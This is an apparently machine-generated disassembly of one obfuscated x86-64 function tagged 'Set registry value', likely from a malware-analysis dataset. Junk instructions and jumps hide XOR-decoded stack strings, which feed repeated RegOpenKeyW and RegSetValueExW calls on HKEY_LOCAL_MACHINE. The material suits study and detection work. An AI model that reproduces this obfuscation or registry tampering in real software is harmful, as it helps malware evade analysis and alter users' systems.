Function at 0x1403fcfb1
Capabilities:
Set registry value

Disassembly:
push r15
xor al, 0x55
push r14
push r13
push r12
rcr r12w, cl
shr rax, cl
neg r15
push rsi
test r12w, 0x4ced
or r14b, r13b
push rdi
clc
rcl si, 0x3e
xor r12b, 0xcb
push rbp
sub r13b, cl
movzx ax, r15b
push rbx
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
setge sil
xchg dil, bpl
mov dil, dl
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
mov bpl, 0xc7
bswap r12w
mov qword [rsp + 0x2d8], rax
movsx r14d, si
mov qword [rsp + 0x48], rax
cwde
not si
movabs rax, 0xfbc9f38de01f2fa2
mov bx, 0x3072
movsxd r13, r9d
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
cmovae r12d, esp
movabs rax, 0x17a75ff95317a686
movzx ebx, r13w
mov qword [rsp + 0x2c8], rax
movsx rbx, r15w
movzx r14, bx
mov qword [rsp + 0x58], rax
mov esi, 0x10150c5e
movabs rax, 0xfd99d5578f55fa6f
movzx r14w, r14b
mov qword [rsp + 0x2c0], rax
movsx r13w, r10b
mov qword [rsp + 0x60], rax
movzx di, r14b
movabs rax, 0x4b3964fdcd447246
xchg r13b, r13b
mov di, sp
cmovp r12w, r11w
mov qword [rsp + 0x2b8], rax
movsx r13, r14w
not bh
mov qword [rsp + 0x68], rax
movsx r12w, r13b
movsx rax, cx
movabs rax, 0xee88324679eb2227
movsxd rbp, r11d
movsx di, sil
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
cdqe
movabs rax, 0x6d7346ad6d4ffefa
movzx r12d, di
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
bswap bp
mov qword [rsp + 0x298], rax
movsx r13, r8w
cmovp r15w, dx
movzx rdi, di
mov qword [rsp + 0x88], rax
cmovs r15w, si
movabs rax, 0x33e730243394033e
cmovne di, r9w
mov rbx, 0x15a234de
movzx r15w, cl
mov qword [rsp + 0x290], rax
movsx ebx, r13w
not r13b
mov qword [rsp + 0x90], rax
xchg bpl, bpl
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
movzx bx, r12b
xchg sil, r13b
mov qword [rsp + 0x98], rax
movsx rdi, cx
movabs rax, 0xb0b65ec58a603c8
setae bh
bswap di
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
movabs rax, 0x6708be65ca8156d7
movsx bp, cl
setae r12b
mov qword [rsp + 0x278], rax
jmp 0x1403fd1f7
mov qword [rsp + 0xa8], rax
lahf
movzx ebp, r11w
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
not di
mov si, 0x1e30
xchg r12b, r14b
mov qword [rsp + 0xb0], rax
cwde
movzx r12w, r13b
movsx r15w, r12b
movabs rax, 0x4b8cb541ca050f46
xchg r15d, r12d
setle r13b
not esi
mov qword [rsp + 0x268], rax
not r13b
mov dil, spl
mov qword [rsp + 0xb8], rax
xchg r14w, r14w
movsxd r15, ebp
movzx r14, r8w
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
mov qword [rsp + 0xc0], rax
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
cmovb di, r14w
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
setp r14b
movzx si, bl
not si
mov qword [rsp + 0xd0], rax
not bx
movsx ax, r12b
seto r12b
movabs rax, 0xa5eac9844f8ea419
movsx r13, di
jmp 0x1403fd2e0
mov qword [rsp + 0xd8], rax
jmp 0x1403fd2f1
mov qword [rsp + 0x30], 0
cdqe
movsx ax, dil
mov dword [rsp + 0x3c], 0
cmovbe bp, si
lahf
sete dil
movabs rbp, 0x2eb490333e21dae3
mov r15w, dx
lahf
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
cbw
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
movsx bx, r12b
cmovle rdi, rdi
movzx rdi, r15w
mov qword [rsp + 0x100], r15
movsxd rbx, ebp
not al
movsx rax, ax
movabs r12, 0x2247bce40ef3a5e6
movsx di, dl
xchg r13b, r13b
mov qword [rsp + 0x108], r12
movabs rsi, 0xfbacf3ffe06d2fd7
setns ah
mov qword [rsp + 0x110], rsi
movzx ax, r10b
movsx ax, bh
movabs rdi, 0x17c85fba5363a6e8
movsx bx, bh
movzx bx, spl
mov qword [rsp + 0x118], rdi
movsx r13d, si
jmp 0x1403fd3c0
movabs rax, 0xfdf6d5258f21fa01
movzx r13d, bp
not r13
mov qword [rsp + 0x120], rax
movsx r13d, ax
bswap r13w
cmovg r13d, ebp
mov rbx, rax
movzx ax, r14b
movabs rax, 0x4b4d6498cd17722a
cmovl r13w, ax
jmp 0x1403fd404
mov qword [rsp + 0x2f0], rax
movzx r13w, r11b
xchg r13b, r13b
bswap r13
mov qword [rsp + 0x128], rax
movzx ax, r10b
movabs rax, 0xeefa322379b8227b
mov qword [rsp + 0x250], rax
xchg r13b, r13b
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov r13w, r11w
not r13w
mov qword [rsp + 0x248], rax
movzx r13w, r11b
movsx r13w, r8b
mov qword [rsp + 0x138], rax
movzx r13, r15w
movzx r13w, r10b
movabs rax, 0xd0fb6869ef6b6a05
jmp 0x1403fd48c
mov qword [rsp + 0x240], rax
cmovg r13, rcx
movzx r13, r15w
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
movsx r13, bx
mov qword [rsp + 0x230], rax
movsxd r13, esi
mov qword [rsp + 0x150], rax
not r13
movsx rax, di
cdqe
movabs rax, 0xe7b39722113d6770
movzx r13w, r12b
cmovo r13w, dx
mov qword [rsp + 0x228], rax
xchg r13b, r13b
movsx r13d, bp
mov r13b, r11b
mov qword [rsp + 0x158], rax
movabs rax, 0xb66658d58d403a9
setl r13b
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x160], rax
movabs rax, 0x677abe00caf556b2
mov r13b, sil
mov qword [rsp + 0x218], rax
jmp 0x1403fd54e
mov qword [rsp + 0x168], rax
movzx rax, r9w
cdqe
not r13b
movabs rax, 0x46ce040ba50e40e3
xchg r13b, r13b
bswap r13
movsx r13, si
mov qword [rsp + 0x210], rax
movzx r13w, bpl
not r13w
mov qword [rsp + 0x170], rax
movabs rax, 0x4bedb536ca600f34
mov qword [rsp + 0x208], rax
movzx r13w, cl
mov r13b, pe_nt_image_headers64
mov qword [rsp + 0x178], rax
mov rax, 0x45453cad
xchg r13w, ax
movabs rax, 0xe648ab111826f94d
xchg r13b, r13b
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
cbw
setns r13b
cdqe
movabs rax, 0x7a4c14b68a1bf6
movsx r13, di
movzx r13, r12w
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movzx rax, r10w
movabs rax, 0xd8a24eaf04dc52e7
jmp 0x1403fd616
mov qword [rsp + 0x1f0], rax
jmp 0x1403fd623
mov qword [rsp + 0x190], rax
cdqe
movabs rax, 0xa5bac9ea4fe7a478
mov r13b, 0x25
movzx r13, r12w
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
lahf
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
jmp 0x1403fd66e
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
movzx r13, cx
bswap r13d
mov qword [rsp + 0x1d8], rax
movsxd r13, ecx
movsx r13w, bpl
mov qword [rsp + 0x1a8], rax
lahf
mov r13b, 0x9d
movzx rax, bp
lea r13, [rsp + 0x100]
cwde
jmp 0x1403fd6b5
mov rax, r13
jmp 0x1403fd6bd
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fd6c7
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fd6d9
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fd6ec
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fd6fa
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fd704
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403fd712
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fd71f
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fd730
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fd73d
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fd756
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fd767
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fd788
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fd79c
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fd7a9
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fd7bd
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fd7ca
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsx cx, dil
not dx
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x30]
movzx ecx, r12w
not cx
mov rcx, 0xffffffff80000002
jmp 0x1403fd7fe
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fd813
mov qword [rsp + 0x1d0], rax
jmp 0x1403fd820
mov qword [rsp + 0x40], rax
movzx ax, bl
movsxd rax, ebp
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x48], rax
movsx ax, r13b
not ax
cmovae ax, ax
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
jmp 0x1403fd866
mov qword [rsp + 0x50], rax
movsx eax, di
movsx rax, cx
lahf
movabs rax, 0x17c85fba530fa684
jmp 0x1403fd882
mov qword [rsp + 0x1c0], rax
jmp 0x1403fd88f
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
jmp 0x1403fd8a1
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
lahf
movsx rax, bp
sete al
mov qword [rsp + 0x118], rdi
mov rax, 0x43ab6dcf
lahf
mov al, spl
mov rax, r13
jmp 0x1403fd8d4
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fd8de
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fd8eb
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
test r14b, 2
cmp spl, 0x6f
rdtsc
mov rcx, qword [rsp + 0x30]
mov al, r9b
lea rax, [rsp + 0x3c]
shld dx, si, 0x54
bsf edx, edi
btc rdx, 7
mov qword [rsp + 0x20], rax
cwd
sub r9, 0x5f0d65bd
cdq
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
btr r9w, ax
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fd965
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
movsx eax, r15w
seta ah
cmovo ax, r15w
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fd990
mov qword [rsp + 0x50], rax
cdqe
bswap eax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fd9a6
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fd9b8
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
sets ah
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fd9da
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fd9ec
mov qword [rsp + 0x78], rax
lahf
movsx rax, r8w
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fda03
mov qword [rsp + 0x80], rax
cwde
movsx rax, r11w
movzx ax, bpl
mov rax, qword [rsp + 0x298]
jmp 0x1403fda22
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x1403fda37
mov qword [rsp + 0x90], rax
movzx rax, si
movzx ax, ah
mov rax, qword [rsp + 0x288]
jmp 0x1403fda54
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403fda69
mov qword [rsp + 0xa0], rax
not eax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsx ax, spl
lahf
mov rax, qword [rsp + 0x270]
jmp 0x1403fda96
mov qword [rsp + 0xb0], rax
cdqe
not al
movzx eax, bp
mov rax, qword [rsp + 0x268]
jmp 0x1403fdab2
mov qword [rsp + 0xb8], rax
movsx ax, r14b
mov rax, qword [rsp + 0x260]
jmp 0x1403fdacc
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x1403fdae1
mov qword [rsp + 0xc8], rax
mov eax, r9d
jmp 0x1403fdaf2
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fdb01
mov qword [rsp + 0xd0], rax
mov al, r11b
movzx ax, bh
cwde
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fdb20
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
movzx eax, ax
cwde
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
mov al, 0xad
mov qword [rsp + 0x108], r12
movsx rbp, r9w
lahf
setb r14b
mov qword [rsp + 0x110], rsi
bswap bp
setl al
movsxd rbp, r12d
mov qword [rsp + 0x118], rdi
cwde
mov rbp, rbx
cdqe
movsxd rax, r8d
movzx r14w, r14b
mov qword [rsp + 0x120], rbx
movsx eax, sp
mov r14, qword [rsp + 0x2f0]
movzx eax, r13w
mov qword [rsp + 0x128], r14
cbw
bswap eax
mov rax, qword [rsp + 0x250]
jmp 0x1403fdbae
mov qword [rsp + 0x130], rax
cwde
mov rax, qword [rsp + 0x248]
jmp 0x1403fdbc4
mov qword [rsp + 0x138], rax
movsxd rax, r10d
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
cdqe
movsxd rax, esi
movsx rax, r10w
mov rax, qword [rsp + 0x238]
jmp 0x1403fdbf5
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x1403fdc0a
mov qword [rsp + 0x150], rax
xchg al, al
bswap ax
mov rax, qword [rsp + 0x228]
jmp 0x1403fdc24
mov qword [rsp + 0x158], rax
movsx ax, sil
mov rax, qword [rsp + 0x220]
jmp 0x1403fdc3e
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403fdc53
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403fdc68
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403fdc7d
mov qword [rsp + 0x178], rax
cmove rax, rsp
movsxd rax, r14d
mov rax, qword [rsp + 0x200]
jmp 0x1403fdc99
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fdcae
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fdcc3
mov qword [rsp + 0x190], rax
cwde
movsx rax, r15w
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
movzx rax, bx
nop
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fdcf3
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fdd08
mov qword [rsp + 0x1a8], rax
setle al
cmovl ax, r8w
movzx eax, bx
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fdd2d
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fdd37
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403fdd44
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fdd4e
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403fdd5c
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fdd73
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fdd80
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fdd91
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fddaa
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fddb7
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fddd0
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fddf8
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fde14
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
xchg rcx, rdx
mov ch, 2
lea rdx, [rsp + 0x40]
movsx rcx, bp
mov rcx, 0xffffffff80000002
xchg r8, r8
movzx r8w, dl
lea r8, [rsp + 0x30]
jmp 0x1403fde53
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov rbx, 0xca30188
movzx ebx, dx
mov qword [rsp + 0x40], rax
mov al, sil
mov rax, qword [rsp + 0x1c8]
movzx bx, dil
mov qword [rsp + 0x48], rax
lahf
cdqe
movsxd rax, r9d
mov rbx, qword [rsp + 0x2e8]
movzx ax, bpl
mov qword [rsp + 0x50], rbx
not ax
movsx ax, r13b
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fdeb2
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
setno ah
jmp 0x1403fdecb
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
cmovno eax, r15d
movsx ax, r15b
mov qword [rsp + 0x118], rdi
mov al, sil
jmp 0x1403fdef4
mov rax, r13
jmp 0x1403fdefc
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fdf0e
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
dec cx
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
seto r9b
mov qword [rsp + 0x20], rax
sar r9w, cl
xor r9b, r13b
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
sbb r9, rbp
sub r9b, 0x7d
xor r8d, r8d
cmovg r9, r11
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fdf6a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fdf7d
mov qword [rsp + 0x40], rax
mov ax, r14w
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fdf93
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fdfa5
mov qword [rsp + 0x50], rax
not ah
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fdfb9
mov qword [rsp + 0x58], rax
movsxd rax, ebp
cbw
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fdfd0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fdfe2
mov qword [rsp + 0x68], rax
bswap eax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fdff6
mov qword [rsp + 0x70], rax
movsxd rax, r12d
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fe00b
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fe01d
mov qword [rsp + 0x80], rax
jmp 0x1403fe02f
mov rax, qword [rsp + 0x298]
jmp 0x1403fe03c
mov qword [rsp + 0x88], rax
movsxd rax, ebp
mov rax, qword [rsp + 0x290]
jmp 0x1403fe054
mov qword [rsp + 0x90], rax
jmp 0x1403fe067
mov rax, qword [rsp + 0x288]
jmp 0x1403fe074
mov qword [rsp + 0x98], rax
movzx rax, r9w
not ah
mov rax, qword [rsp + 0x280]
jmp 0x1403fe08f
mov qword [rsp + 0xa0], rax
movsx ax, r12b
mov rax, qword [rsp + 0x278]
jmp 0x1403fe0a9
mov qword [rsp + 0xa8], rax
jmp 0x1403fe0b6
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1403fe0e3
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x1403fe0f8
mov qword [rsp + 0xc8], rax
movzx ax, bpl
cdqe
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
mov qword [rsp + 0xd8], rax
movsx ax, ch
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fe13e
mov qword [rsp + 0xe0], rax
movzx rax, r14w
jmp 0x1403fe14f
movabs rax, 0x28f53e246680b95c
jmp 0x1403fe15e
mov qword [rsp + 0xe8], rax
bswap ax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cdqe
movsx ax, r10b
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
not ax
cbw
lahf
mov qword [rsp + 0x120], rbp
movsx eax, r12w
nop
movzx ax, r14b
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1403fe1be
mov qword [rsp + 0x130], rax
movzx ax, r14b
lahf
mov rax, qword [rsp + 0x248]
jmp 0x1403fe1d9
mov qword [rsp + 0x138], rax
cbw
mov rax, qword [rsp + 0x240]
jmp 0x1403fe1f0
mov qword [rsp + 0x140], rax
movsx rax, cx
mov rax, qword [rsp + 0x238]
jmp 0x1403fe209
mov qword [rsp + 0x148], rax
cbw
mov al, 0x52
mov rax, qword [rsp + 0x230]
jmp 0x1403fe222
mov qword [rsp + 0x150], rax
movzx ax, r15b
not ah
cbw
mov rax, qword [rsp + 0x228]
jmp 0x1403fe240
mov qword [rsp + 0x158], rax
cmovno rax, rdx
mov rax, qword [rsp + 0x220]
jmp 0x1403fe259
mov qword [rsp + 0x160], rax
movsx eax, r8w
cmovs eax, eax
mov rax, qword [rsp + 0x218]
jmp 0x1403fe275
mov qword [rsp + 0x168], rax
movsx rax, r13w
seta ah
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
bswap eax
mov rax, qword [rsp + 0x208]
jmp 0x1403fe2a3
mov qword [rsp + 0x178], rax
not ax
mov ah, 0x54
bswap eax
mov rax, qword [rsp + 0x200]
jmp 0x1403fe2c0
mov qword [rsp + 0x180], rax
movsx rax, r8w
movzx eax, dx
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
movzx eax, dx
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fe2ef
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fe304
mov qword [rsp + 0x198], rax
movsxd rax, r8d
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
movsx rax, sp
movzx rax, r11w
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fe334
mov qword [rsp + 0x1a8], rax
cbw
movabs rax, 0xa1410f538a85c08b
mov qword [rsp + 0xf0], rax
jmp 0x1403fe355
mov qword [rsp + 0x1b0], rax
movabs rax, 0x6078a8fe5539451c
jmp 0x1403fe36c
mov qword [rsp + 0xf8], rax
jmp 0x1403fe379
mov qword [rsp + 0x1b8], rax
movzx rax, r12w
movzx ax, dh
mov rax, r13
jmp 0x1403fe391